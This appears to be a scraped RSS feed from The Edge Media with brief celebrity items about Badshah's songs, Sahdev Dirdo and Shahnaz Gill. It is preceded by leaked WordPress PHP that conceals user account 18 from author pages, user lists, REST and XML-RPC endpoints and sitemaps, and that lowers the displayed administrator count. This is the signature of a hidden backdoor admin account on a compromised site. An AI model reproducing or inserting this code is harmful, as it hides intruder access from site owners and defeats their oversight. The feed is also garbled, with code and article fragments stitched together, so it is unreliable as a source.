add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Badshah unveils his latest song with Sahdev Dirdo appeared first on The Edge Media.
]]>Directed by B2gether Pros, the music video features Sahdev along with Badshah, singer Aastha Gill and musician Rico.
The 35-year-old singer, known for tracks such as “Paani Paani” and “Genda Phool”, said he is excited to present their version of “Bachpan ka Pyaar”, for Universal Music.
‘Bachpan ka Pyaar” is going to be a humongous celebration of the power of social media in current times. Aastha, Rico, and I are extremely excited to present the biggest hero amongst us, Sahdev.
The new version of the song is composed by Hiten and the lyrics have been penned by Badshah.
The post Badshah unveils his latest song with Sahdev Dirdo appeared first on The Edge Media.
]]>The post “I don’t work for the stardom”, says Badshah appeared first on The Edge Media.
]]>Life a cruise right now, of course. His run of chartbusters over the years has included “Mercy”, “Paagal”, “DJ waley babu”, “Abhi toh party shuru hui hai”, “Kar gayi chull”,”She move it like”, “Wakhra swag”, “Garmi” and “Genda phool”, and continues. He has appeared in Forbes India’s Celebrity 100 in 2017, 2018 and 2019 as one of the highest-paid celebrities in India. Controversies around plagiarism charges and purchase of fake views, which hounded him last year, have also been forgotten.
At 36, the musician who started out in 2006 with the group Mafia Mundeer, only sees his fan base burgeoning. Talking about the number he thinks has been a gamechanger, Badshah, whose real name is Aditya Prateek Singh Sisodia, diplomatically tags all of them as “tide-turners”.
The post “I don’t work for the stardom”, says Badshah appeared first on The Edge Media.
]]>The post Shahnaz Gill, Siddharth Shukla gave an interesting reaction in Badshah’s new song appeared first on The Edge Media.
]]>Shahnaz Gill’s new song, which will be seen in Bigg Boss 13, has been released. This song has been composed by Badshah. Shehnaaz Gill shared his pictures with Badshah before the release of the song. Both of these songs have been released now. This song of Badshah is being liked a lot.
Now Shahnaz Gill’s special friend and Bigg Boss 13 winner Siddharth Shukla has also praised the song. He wrote on social media, ‘Now I have heard the song Fly. I am a big fan of Badshah and Shahnaz Gill looks pretty in it. I’m proud on them. Shahnaz Gill was not getting ready on Siddharth Shukla’s tweet. She has also responded to this.
After Siddharth Shukla’s tweet, his fans are constantly commenting and liking it. One fan wrote, ‘Finally, the person who was waiting for the whole day, the tweet has come. Oh God, how long have we been waiting.’ The other fan wrote, ‘It will bring such happiness in these small things, I never thought that it is such a minor thing but it is difficult to tell our happiness. Love you Siddharth, you always prove me right’ Siddharth Shukla has praised Shahnaz Gill. He also praised Shahnaz Gill for Arjun Kanungo’s song ‘Vaada Hai’. Siddharth Shukla will soon be seen in Alt Balaji’s ‘Broken But Beautiful’ season 3 with Sonia Rathi.
In Bigg Boss 13, Shahnaz Gill and Siddharth Shukla were very much liked. They have also worked together in many singles. Shahnaz Gill and Siddharth Shukla have a good friendship even today.
The post Shahnaz Gill, Siddharth Shukla gave an interesting reaction in Badshah’s new song appeared first on The Edge Media.
]]>